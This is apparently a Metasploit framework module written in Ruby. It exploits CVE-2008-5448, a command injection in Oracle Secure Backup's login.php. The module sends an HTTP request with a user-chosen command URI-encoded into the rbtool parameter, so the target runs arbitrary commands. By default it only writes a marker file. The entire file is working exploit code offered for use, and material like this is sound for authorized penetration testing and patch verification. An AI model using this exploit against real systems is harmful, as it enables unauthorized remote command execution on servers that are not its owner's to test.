##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
        'Description' => %q{
          This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-5448' ],
          [ 'OSVDB', '51342' ],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
          [ 'ZDI', '09-003' ],
        ],
        'DisclosureDate' => '2009-01-14',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('CMD', [ false, 'The command to execute.', 'cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt' ]),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ]
    )
  end

  def run
    r = Rex::Text.rand_text_english(2)

    cmd = datastore['CMD']

    uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="

    req = uri + Rex::Text.uri_encode(cmd)

    print_status("Sending command: #{datastore['CMD']}...")

    send_request_raw({ 'uri' => req }, 5)

    print_status('Done.')
  end
end